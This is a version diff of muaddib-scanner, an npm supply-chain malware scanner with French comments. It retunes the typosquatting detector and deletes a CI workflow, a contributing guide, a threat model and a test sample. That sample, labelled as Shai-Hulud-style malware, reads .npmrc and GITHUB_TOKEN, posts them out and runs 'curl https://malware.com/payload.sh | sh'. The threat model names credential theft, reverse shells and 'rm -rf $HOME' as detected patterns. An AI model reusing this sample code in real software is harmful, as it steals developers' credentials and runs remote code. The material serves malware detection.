muaddib-scanner 1.0.9 → 1.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -7,57 +7,46 @@ const POPULAR_PACKAGES = [
7
7
  'request', 'async', 'bluebird', 'underscore', 'uuid', 'debug', 'mkdirp',
8
8
  'glob', 'minimist', 'webpack', 'babel-core', 'typescript', 'eslint',
9
9
  'prettier', 'jest', 'mocha', 'chai', 'sinon', 'mongoose', 'sequelize',
10
- 'mysql', 'pg', 'redis', 'mongodb', 'socket.io', 'express-session',
10
+ 'mysql', 'redis', 'mongodb', 'socket.io', 'express-session',
11
11
  'body-parser', 'cookie-parser', 'cors', 'helmet', 'morgan', 'dotenv',
12
12
  'jsonwebtoken', 'bcrypt', 'passport', 'nodemailer', 'aws-sdk', 'stripe',
13
13
  'twilio', 'firebase', 'graphql', 'apollo-server', 'next', 'nuxt',
14
- 'gatsby', 'vue', 'angular', 'svelte', 'electron', 'puppeteer', 'cheerio',
14
+ 'gatsby', 'angular', 'svelte', 'electron', 'puppeteer', 'cheerio',
15
15
  'sharp', 'jimp', 'canvas', 'pdf-lib', 'exceljs', 'csv-parser', 'xml2js',
16
- 'yaml', 'ini', 'config', 'yargs', 'inquirer', 'ora', 'chalk', 'colors',
17
- 'winston', 'bunyan', 'pino', 'log4js', 'ramda', 'rxjs', 'immutable',
18
- 'mobx', 'redux', 'zustand', 'formik', 'yup', 'joi', 'ajv', 'validator',
16
+ 'yaml', 'config', 'yargs', 'inquirer', 'ora', 'colors',
17
+ 'winston', 'bunyan', 'pino', 'log4js', 'ramda', 'immutable',
18
+ 'mobx', 'redux', 'zustand', 'formik', 'yup', 'ajv', 'validator',
19
19
  'date-fns', 'dayjs', 'luxon', 'numeral', 'accounting', 'currency.js',
20
20
  'lodash-es', 'core-js', 'regenerator-runtime', 'tslib', 'classnames',
21
- 'prop-types', 'cross-env', 'npm', 'yarn', 'pnpm', 'node-fetch', 'got'
21
+ 'prop-types', 'cross-env', 'node-fetch', 'got'
22
22
  ];
23
23
 
24
- // Packages legitimes qui ressemblent a des populaires mais sont OK
24
+ // Packages legitimes courts ou qui ressemblent a des populaires
25
25
  const WHITELIST = [
26
- 'acorn',
27
- 'acorn-walk',
28
- 'js-yaml',
29
- 'cross-env',
30
- 'node-fetch',
31
- 'node-gyp',
32
- 'core-js',
33
- 'lodash-es',
34
- 'date-fns',
35
- 'ts-node',
36
- 'ts-jest',
37
- 'css-loader',
38
- 'style-loader',
39
- 'file-loader',
40
- 'url-loader',
41
- 'babel-loader',
42
- 'vue-loader',
43
- 'react-dom',
44
- 'react-router',
45
- 'react-redux',
46
- 'vue-router',
47
- 'express-session',
48
- 'body-parser',
49
- 'cookie-parser'
26
+ // Packages tres courts legitimes
27
+ 'qs', 'pg', 'ms', 'ws', 'ip', 'on', 'is', 'it', 'to', 'or', 'fs', 'os',
28
+ 'co', 'q', 'n', 'i', 'a', 'v', 'x', 'y', 'z',
29
+ 'ejs', 'nyc', 'ini', 'joi', 'vue', 'npm', 'got', 'ora',
30
+ 'vary', 'mime', 'send', 'etag', 'raw', 'tar', 'uid', 'cjs',
31
+ 'rxjs', 'yarn', 'pnpm',
32
+
33
+ // Packages legitimes avec noms similaires
34
+ 'acorn', 'acorn-walk', 'js-yaml', 'cross-env', 'node-fetch', 'node-gyp',
35
+ 'core-js', 'lodash-es', 'date-fns', 'ts-node', 'ts-jest',
36
+ 'css-loader', 'style-loader', 'file-loader', 'url-loader', 'babel-loader',
37
+ 'vue-loader', 'react-dom', 'react-router', 'react-redux', 'vue-router',
38
+ 'express-session', 'body-parser', 'cookie-parser',
39
+
40
+ // Packages Express.js communs
41
+ 'accepts', 'array-flatten', 'content-disposition', 'content-type',
42
+ 'depd', 'destroy', 'encodeurl', 'escape-html', 'fresh', 'merge-descriptors',
43
+ 'methods', 'on-finished', 'parseurl', 'path-to-regexp', 'proxy-addr',
44
+ 'range-parser', 'safe-buffer', 'safer-buffer', 'setprototypeof',
45
+ 'statuses', 'type-is', 'unpipe', 'utils-merge'
50
46
  ];
51
47
 
52
- // Techniques de typosquatting connues
53
- const TYPOSQUAT_PATTERNS = [
54
- { type: 'missing_char', fn: (name) => generateMissingChar(name) },
55
- { type: 'extra_char', fn: (name) => generateExtraChar(name) },
56
- { type: 'swapped_chars', fn: (name) => generateSwappedChars(name) },
57
- { type: 'wrong_char', fn: (name) => generateWrongChar(name) },
58
- { type: 'hyphen_tricks', fn: (name) => generateHyphenTricks(name) },
59
- { type: 'suffix_tricks', fn: (name) => generateSuffixTricks(name) }
60
- ];
48
+ // Seuil minimum de longueur pour eviter faux positifs
49
+ const MIN_PACKAGE_LENGTH = 4;
61
50
 
62
51
  async function scanTyposquatting(targetPath) {
63
52
  const threats = [];
@@ -98,18 +87,24 @@ async function scanTyposquatting(targetPath) {
98
87
 
99
88
  function findTyposquatMatch(name) {
100
89
  // Ignore les packages whitelistes
101
- if (WHITELIST.includes(name)) return null;
90
+ if (WHITELIST.includes(name.toLowerCase())) return null;
102
91
 
103
92
  // Ignore les packages scoped (@org/package)
104
93
  if (name.startsWith('@')) return null;
105
94
 
95
+ // Ignore les packages tres courts (trop de faux positifs)
96
+ if (name.length < MIN_PACKAGE_LENGTH) return null;
97
+
106
98
  for (const popular of POPULAR_PACKAGES) {
107
99
  // Ignore si c'est exactement le meme
108
- if (name === popular) continue;
100
+ if (name.toLowerCase() === popular.toLowerCase()) continue;
109
101
 
110
- const distance = levenshteinDistance(name, popular);
102
+ // Ignore si le package populaire est trop court
103
+ if (popular.length < MIN_PACKAGE_LENGTH) continue;
104
+
105
+ const distance = levenshteinDistance(name.toLowerCase(), popular.toLowerCase());
111
106
 
112
- // Distance de 1 ou 2 = tres suspect
107
+ // Distance de 1 = tres suspect (une seule lettre de difference)
113
108
  if (distance === 1) {
114
109
  return {
115
110
  original: popular,
@@ -118,8 +113,8 @@ function findTyposquatMatch(name) {
118
113
  };
119
114
  }
120
115
 
121
- // Distance de 2 avec nom court = suspect
122
- if (distance === 2 && popular.length <= 6) {
116
+ // Distance de 2 seulement si le package est assez long (>= 8 chars)
117
+ if (distance === 2 && popular.length >= 8) {
123
118
  return {
124
119
  original: popular,
125
120
  type: detectTyposquatType(name, popular),
@@ -156,16 +151,21 @@ function detectTyposquatType(typo, original) {
156
151
  }
157
152
 
158
153
  function isSuffixTrick(name, popular) {
154
+ const nameLower = name.toLowerCase();
155
+ const popularLower = popular.toLowerCase();
156
+
159
157
  const suffixes = ['-js', '.js', '-node', '-npm', '-cli', '-api', '-lib', '-pkg', '-dev', '-pro'];
160
158
  for (const suffix of suffixes) {
161
- if (name === popular + suffix) return true;
162
- if (name === popular.replace('-', '') + suffix) return true;
159
+ if (nameLower === popularLower + suffix) return true;
160
+ if (nameLower === popularLower.replace('-', '') + suffix) return true;
163
161
  }
162
+
164
163
  // Verifie aussi les prefixes
165
164
  const prefixes = ['node-', 'npm-', 'js-', 'get-', 'the-'];
166
165
  for (const prefix of prefixes) {
167
- if (name === prefix + popular) return true;
166
+ if (nameLower === prefix + popularLower) return true;
168
167
  }
168
+
169
169
  return false;
170
170
  }
171
171
 
@@ -186,9 +186,9 @@ function levenshteinDistance(a, b) {
186
186
  matrix[i][j] = matrix[i - 1][j - 1];
187
187
  } else {
188
188
  matrix[i][j] = Math.min(
189
- matrix[i - 1][j - 1] + 1, // substitution
190
- matrix[i][j - 1] + 1, // insertion
191
- matrix[i - 1][j] + 1 // deletion
189
+ matrix[i - 1][j - 1] + 1,
190
+ matrix[i][j - 1] + 1,
191
+ matrix[i - 1][j] + 1
192
192
  );
193
193
  }
194
194
  }
@@ -197,70 +197,4 @@ function levenshteinDistance(a, b) {
197
197
  return matrix[b.length][a.length];
198
198
  }
199
199
 
200
- // Generateurs pour tests (pas utilises dans le scan, mais utiles pour enrichir les IOCs)
201
- function generateMissingChar(name) {
202
- const results = [];
203
- for (let i = 0; i < name.length; i++) {
204
- results.push(name.slice(0, i) + name.slice(i + 1));
205
- }
206
- return results;
207
- }
208
-
209
- function generateExtraChar(name) {
210
- const results = [];
211
- const chars = 'abcdefghijklmnopqrstuvwxyz0123456789-';
212
- for (let i = 0; i <= name.length; i++) {
213
- for (const char of chars) {
214
- results.push(name.slice(0, i) + char + name.slice(i));
215
- }
216
- }
217
- return results;
218
- }
219
-
220
- function generateSwappedChars(name) {
221
- const results = [];
222
- for (let i = 0; i < name.length - 1; i++) {
223
- const arr = name.split('');
224
- [arr[i], arr[i + 1]] = [arr[i + 1], arr[i]];
225
- results.push(arr.join(''));
226
- }
227
- return results;
228
- }
229
-
230
- function generateWrongChar(name) {
231
- const results = [];
232
- const keyboard = {
233
- 'a': 'sqwz', 'b': 'vghn', 'c': 'xdfv', 'd': 'serfcx', 'e': 'wsdfr',
234
- 'f': 'drtgvc', 'g': 'ftyhbv', 'h': 'gyujnb', 'i': 'ujklo', 'j': 'huikmn',
235
- 'k': 'jiolm', 'l': 'kop', 'm': 'njk', 'n': 'bhjm', 'o': 'iklp',
236
- 'p': 'ol', 'q': 'wa', 'r': 'edft', 's': 'awedxz', 't': 'rfgy',
237
- 'u': 'yhji', 'v': 'cfgb', 'w': 'qase', 'x': 'zsdc', 'y': 'tghu', 'z': 'asx'
238
- };
239
- for (let i = 0; i < name.length; i++) {
240
- const char = name[i].toLowerCase();
241
- if (keyboard[char]) {
242
- for (const replacement of keyboard[char]) {
243
- results.push(name.slice(0, i) + replacement + name.slice(i + 1));
244
- }
245
- }
246
- }
247
- return results;
248
- }
249
-
250
- function generateHyphenTricks(name) {
251
- const results = [];
252
- // Ajouter des hyphens
253
- for (let i = 1; i < name.length; i++) {
254
- results.push(name.slice(0, i) + '-' + name.slice(i));
255
- }
256
- // Retirer des hyphens
257
- results.push(name.replace(/-/g, ''));
258
- return results;
259
- }
260
-
261
- function generateSuffixTricks(name) {
262
- const suffixes = ['-js', '.js', '-node', '-npm', '-cli'];
263
- return suffixes.map(s => name + s);
264
- }
265
-
266
200
  module.exports = { scanTyposquatting, levenshteinDistance };
@@ -1,33 +0,0 @@
1
- name: MUADDIB Security Scan
2
-
3
- on:
4
- push:
5
- branches: [master, main]
6
- pull_request:
7
- branches: [master, main]
8
-
9
- jobs:
10
- scan:
11
- runs-on: ubuntu-latest
12
- permissions:
13
- security-events: write
14
- contents: read
15
- steps:
16
- - name: Checkout code
17
- uses: actions/checkout@v4
18
-
19
- - name: Setup Node.js
20
- uses: actions/setup-node@v4
21
- with:
22
- node-version: '20'
23
-
24
- - name: Install dependencies
25
- run: npm install
26
-
27
- - name: Run MUADDIB scan
28
- run: node bin/muaddib.js scan . --sarif results.sarif || true
29
-
30
- - name: Upload SARIF to GitHub Security
31
- uses: github/codeql-action/upload-sarif@v3
32
- with:
33
- sarif_file: results.sarif
package/CONTRIBUTING.md DELETED
@@ -1,98 +0,0 @@
1
- # Contributing to MUAD'DIB
2
-
3
- Thanks for your interest in improving MUAD'DIB!
4
-
5
- ## Ways to contribute
6
-
7
- ### 1. Add new IOCs (Indicators of Compromise)
8
-
9
- Edit `iocs/packages.yaml` and add:
10
- ```yaml
11
- - id: MALWARE-XXX-001
12
- name: "malicious-package-name"
13
- version: "*"
14
- severity: critical
15
- confidence: high
16
- source: your-name
17
- description: "Short description of the threat"
18
- references:
19
- - https://link-to-blog-or-advisory
20
- mitre: T1195.002
21
- ```
22
-
23
- **Severity levels:** critical, high, medium, low
24
-
25
- **MITRE techniques:**
26
- - T1195.002 — Supply chain compromise
27
- - T1552.001 — Credentials in files
28
- - T1059 — Command execution
29
- - T1027 — Obfuscation
30
- - T1041 — Exfiltration
31
-
32
- ### 2. Add detection rules
33
-
34
- Edit `src/rules/index.js` and add a new rule:
35
- ```javascript
36
- my_new_rule: {
37
- id: 'MUADDIB-XXX-001',
38
- name: 'My New Detection',
39
- severity: 'HIGH',
40
- confidence: 'high',
41
- description: 'What this rule detects',
42
- references: ['https://...'],
43
- mitre: 'T1195.002'
44
- }
45
- ```
46
-
47
- ### 3. Add response playbooks
48
-
49
- Edit `src/response/playbooks.js` and add:
50
- ```javascript
51
- case 'my_new_rule':
52
- return 'Step-by-step response instructions';
53
- ```
54
-
55
- ### 4. Report false positives
56
-
57
- Open an issue with:
58
- - Package name
59
- - Detection rule triggered
60
- - Why it's a false positive
61
-
62
- ### 5. Report missed detections
63
-
64
- Open an issue with:
65
- - Malicious package name
66
- - What it does
67
- - Links to advisories
68
-
69
- ## Development
70
- ```bash
71
- git clone https://github.com/DNSZLSK/muad-dib.git
72
- cd muad-dib
73
- npm install
74
- npm test
75
- ```
76
-
77
- ## Testing your changes
78
- ```bash
79
- node bin/muaddib.js scan tests/samples --explain
80
- ```
81
-
82
- ## Pull request process
83
-
84
- 1. Fork the repo
85
- 2. Create a branch (`git checkout -b feature/my-feature`)
86
- 3. Make your changes
87
- 4. Run tests (`npm test`)
88
- 5. Commit (`git commit -m "Add my feature"`)
89
- 6. Push (`git push origin feature/my-feature`)
90
- 7. Open a Pull Request
91
-
92
- ## Code of conduct
93
-
94
- Be respectful. We're all here to make npm safer.
95
-
96
- ## Questions?
97
-
98
- Open an issue or join our Discord: https://discord.gg/y8zxSmue
@@ -1,116 +0,0 @@
1
- # MUAD'DIB Threat Model
2
-
3
- ## Ce que MUAD'DIB detecte
4
-
5
- ### Attaques Supply Chain npm
6
-
7
- | Technique | Detection | Confidence |
8
- |-----------|-----------|------------|
9
- | Packages malveillants connus | Hash SHA256 + nom | HIGH |
10
- | Shai-Hulud v1/v2/v3 | Marqueurs + fichiers + comportements | HIGH |
11
- | event-stream (2018) | Nom + version | HIGH |
12
- | Typosquatting | Liste de packages connus | MEDIUM |
13
- | Protestware (node-ipc, colors) | Nom + version | HIGH |
14
-
15
- ### Comportements malveillants
16
-
17
- | Technique | Detection | Confidence |
18
- |-----------|-----------|------------|
19
- | Vol de credentials (.npmrc, .ssh) | Analyse AST | HIGH |
20
- | Exfiltration via env vars (GITHUB_TOKEN) | Analyse AST | HIGH |
21
- | Execution de code distant (curl \| sh) | Pattern matching | HIGH |
22
- | Reverse shell | Pattern matching | HIGH |
23
- | Dead man's switch (rm -rf $HOME) | Pattern matching | HIGH |
24
- | Code obfusque | Heuristiques | MEDIUM |
25
-
26
- ### Flux de donnees suspects
27
-
28
- | Technique | Detection | Confidence |
29
- |-----------|-----------|------------|
30
- | Lecture credential + envoi reseau | Analyse dataflow | HIGH |
31
- | Acces process.env + fetch/request | Analyse dataflow | HIGH |
32
-
33
- ## Ce que MUAD'DIB NE detecte PAS
34
-
35
- ### Limitations connues
36
-
37
- | Technique | Raison |
38
- |-----------|--------|
39
- | Malware polymorphe | Pas d'analyse dynamique |
40
- | Obfuscation avancee | Heuristiques limitees |
41
- | Zero-day (packages inconnus) | Base IOC reactive |
42
- | Attaques via binaires natifs | Pas d'analyse binaire |
43
- | Backdoors subtiles | Pas de review de code semantique |
44
- | Time bombs (declenchement differe) | Pas d'analyse temporelle |
45
-
46
- ### Faux negatifs potentiels
47
-
48
- - Code malveillant dans des fichiers non-JS (WASM, binaires)
49
- - Exfiltration via DNS ou autres canaux couverts
50
- - Malware qui detecte l'environnement d'analyse
51
- - Attaques multi-etapes avec payload distant
52
-
53
- ## Hypotheses
54
-
55
- 1. **Le code source est disponible** — MUAD'DIB analyse le code, pas les binaires
56
- 2. **Les IOCs sont a jour** — La detection depend de la base IOC
57
- 3. **L'attaquant utilise des techniques connues** — Zero-days passent a travers
58
- 4. **Le scan est execute avant l'installation** — Apres `npm install`, c'est trop tard si preinstall a execute
59
-
60
- ## Architecture de detection
61
- ```
62
- ┌─────────────────────────────────────────────────────────────┐
63
- │ MUAD'DIB Scanner │
64
- ├─────────────────────────────────────────────────────────────┤
65
- │ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
66
- │ │ IOC Match │ │ AST Parse │ │ Pattern Matching │ │
67
- │ │ (hashes, │ │ (acorn) │ │ (shell, scripts) │ │
68
- │ │ packages) │ │ │ │ │ │
69
- │ └──────┬──────┘ └──────┬──────┘ └──────────┬──────────┘ │
70
- │ │ │ │ │
71
- │ v v v │
72
- │ ┌─────────────────────────────────────────────────────────┐│
73
- │ │ Dataflow Analysis ││
74
- │ │ (credential read -> network send) ││
75
- │ └─────────────────────────────────────────────────────────┘│
76
- │ │ │ │ │
77
- │ v v v │
78
- │ ┌─────────────────────────────────────────────────────────┐│
79
- │ │ Threat Enrichment ││
80
- │ │ (rules, MITRE ATT&CK, playbooks) ││
81
- │ └─────────────────────────────────────────────────────────┘│
82
- └─────────────────────────────────────────────────────────────┘
83
- ```
84
-
85
- ## Mapping MITRE ATT&CK
86
-
87
- | Technique | ID | Detection MUAD'DIB |
88
- |-----------|----|--------------------|
89
- | Credentials in Files | T1552.001 | AST analysis |
90
- | Command and Scripting Interpreter | T1059 | Pattern matching |
91
- | Supply Chain Compromise | T1195.002 | IOC matching |
92
- | Obfuscated Files | T1027 | Heuristics |
93
- | Exfiltration Over C2 Channel | T1041 | Dataflow analysis |
94
- | Data Destruction | T1485 | Pattern matching |
95
- | Ingress Tool Transfer | T1105 | Pattern matching |
96
-
97
- ## Recommandations
98
-
99
- ### Pour les utilisateurs
100
-
101
- 1. Executer `muaddib scan .` AVANT `npm install`
102
- 2. Mettre a jour les IOCs regulierement (`muaddib update`)
103
- 3. Utiliser le mode `--explain` pour comprendre les detections
104
- 4. Integrer dans CI/CD avec sortie SARIF
105
-
106
- ### Pour les equipes securite
107
-
108
- 1. Completer avec une analyse dynamique (sandbox)
109
- 2. Monitorer les nouveaux packages avant adoption
110
- 3. Utiliser `--sarif` pour integration SIEM
111
- 4. Contribuer des IOCs via PR sur le repo
112
-
113
- ## Contacts
114
-
115
- - Repository: https://github.com/DNSZLSK/muad-dib
116
- - Issues: https://github.com/DNSZLSK/muad-dib/issues
@@ -1,20 +0,0 @@
1
- // Exemple de code malveillant style Shai-Hulud
2
- const fs = require('fs');
3
- const https = require('https');
4
- const { exec } = require('child_process');
5
-
6
- // Vol de credentials
7
- const npmrc = fs.readFileSync(process.env.HOME + '/.npmrc', 'utf8');
8
- const token = process.env.GITHUB_TOKEN;
9
-
10
- // Exfiltration
11
- const data = JSON.stringify({ npmrc, token });
12
- const req = https.request('https://api.github.com/repos', {
13
- method: 'POST',
14
- headers: { 'Content-Type': 'application/json' }
15
- });
16
- req.write(data);
17
- req.end();
18
-
19
- // Execution de commande
20
- exec('curl https://malware.com/payload.sh | sh');